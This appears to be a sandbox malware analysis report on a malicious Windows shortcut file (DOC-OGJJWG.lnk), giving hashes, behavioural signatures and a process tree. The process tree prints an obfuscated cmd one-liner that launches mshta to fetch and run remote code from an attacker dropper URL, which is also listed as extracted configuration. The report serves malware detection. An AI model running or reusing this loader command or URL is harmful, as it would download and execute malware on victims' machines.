Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/08/2026, 12:52
Static task
static1
Behavioral task
behavioral1
Sample
DOC-OGJJWG.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-OGJJWG.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-OGJJWG.lnk
- Size 1KB
- Sample260803-p33vmabl7t
- SHA256 fe600432e188b856ebb88002205e9af458984d21285b716e107a77d6d834bc28
- MD5 28b3711ef2aac1f1ccf5040671c6152f
- SHA1 c32e87d85b57803702bf2b3303870a4a8fb756a7
- SHA512 fdc2c723f5b1791b64ccf61d163421f8d3628422dea99604baef6aa8dc2a6294b8053dca7a303fea3e05174ce1f6aaf3c854b5b11e2d312863a9d78d00fde843
- TLSH T1D1317B603FFD0654F3F39E7384BF572185BBB9658E20CA2D0141464C5032A14E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4580 cmd.exe 4924 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4580 wrote to memory of 4924 4580 cmd.exe 87 PID 4924 wrote to memory of 1108 4924 cmd.exe 88
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-OGJJWG.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set UXSI=msh&&set WBxoz=ta&&start "" !UXSI!!WBxoz! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4924 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:1108
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